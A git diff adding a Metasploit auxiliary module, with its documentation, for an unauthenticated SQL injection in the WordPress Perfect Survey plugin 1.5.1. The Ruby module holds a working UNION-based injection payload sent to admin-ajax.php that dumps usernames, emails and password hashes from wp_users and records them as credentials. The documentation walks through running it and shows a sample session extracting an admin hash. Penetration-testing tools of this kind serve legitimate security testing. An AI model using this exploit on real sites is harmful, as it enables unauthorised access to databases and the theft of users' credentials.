diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index c983f587ebb1..06c651ac4beb 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -67,3 +67,4 @@ ultimate-member wp-fastest-cache post-smtp really-simple-ssl +perfect-survey \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md new file mode 100644 index 000000000000..507742d293c9 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -0,0 +1,54 @@ +## Vulnerable Application + +Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability +via the `question_id` parameter. + +An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information, +such as usernames and password hashes, from the `wp_users` table. + +The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/). +The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip + +## Verification Steps + +1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin. +2. Start `msfconsole`. +3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`. +4. Set the target host: `set RHOSTS [ip]`. +5. Adjust other options as necessary, such as `TARGETURI` (default is `/`). +6. Execute the module: `run`. +7. The module should retrieve usernames and password hashes from the WordPress installation. + +## Options + +## Scenarios + +### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04 + +#### Example + +```sh +msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli +[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 +RHOSTS => 192.168.1.104 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000 +RPORT => 8000 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress +TARGETURI => /wordpress +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit +[*] Running module against 192.168.1.104 + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Exploiting SQLi in Perfect Survey plugin... +[*] Extracting credential information + +WordPress User Credentials +========================== + + Username Email Hash + -------- ----- ---- + admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > +``` diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb new file mode 100644 index 000000000000..4fe15e769c9b --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + prepend Msf::Exploit::Remote::AutoCheck + + GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in the Perfect Survey + plugin for WordPress (version 1.5.1). An unauthenticated attacker can + exploit the SQLi to retrieve sensitive information such as usernames, + emails, and password hashes from the `wp_users` table. + }, + 'Author' => [ + 'Aaryan Golatkar', # Metasploit Module Creator + 'Ron Jost' # Vulnerability discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['EDB', '50766'], + ['CVE', '2021-24762'] + ], + 'DisclosureDate' => '2021-10-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']), + Opt::RPORT(80) # Default port for HTTP + ]) + end + + # Define SQLi object + def get_sqli_object + create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload| + endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users" + params = { + 'action' => 'get_question', + 'question_id' => sqli_payload + } + + # Send HTTP GET request + res = send_request_cgi({ + 'uri' => endpoint, + 'method' => 'GET', + 'vars_get' => params + }) + + # Validate response + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200 + + html_content = res.get_json_document['html'] + fail_with(Failure::Unknown, 'HTML content is empty') unless html_content + + # Extract data from response + match_data = /survey_question_p">([^<]+)/.match(html_content) + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data + + extracted_data = match_data.captures[0] + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data + + extracted_data + end + end + + # Check method + def check + @sqli = get_sqli_object + return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable + + Exploit::CheckCode::Safe + end + + # Run method + def run + print_status('Exploiting SQLi in Perfect Survey plugin...') + @sqli ||= get_sqli_object + fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + + creds_table = Rex::Text::Table.new( + 'Header' => 'WordPress User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Email', 'Hash'] + ) + + print_status("Extracting credential information\n") + users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass]) + users.each do |(username, email, hash)| + creds_table << [username, email, hash] + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :nonreplayable_hash, + jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), + private_data: hash, + service_name: 'WordPress Perfect Survey Plugin', + address: datastore['RHOSTS'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED, + email: email + }) + end + print_line creds_table.to_s + end +end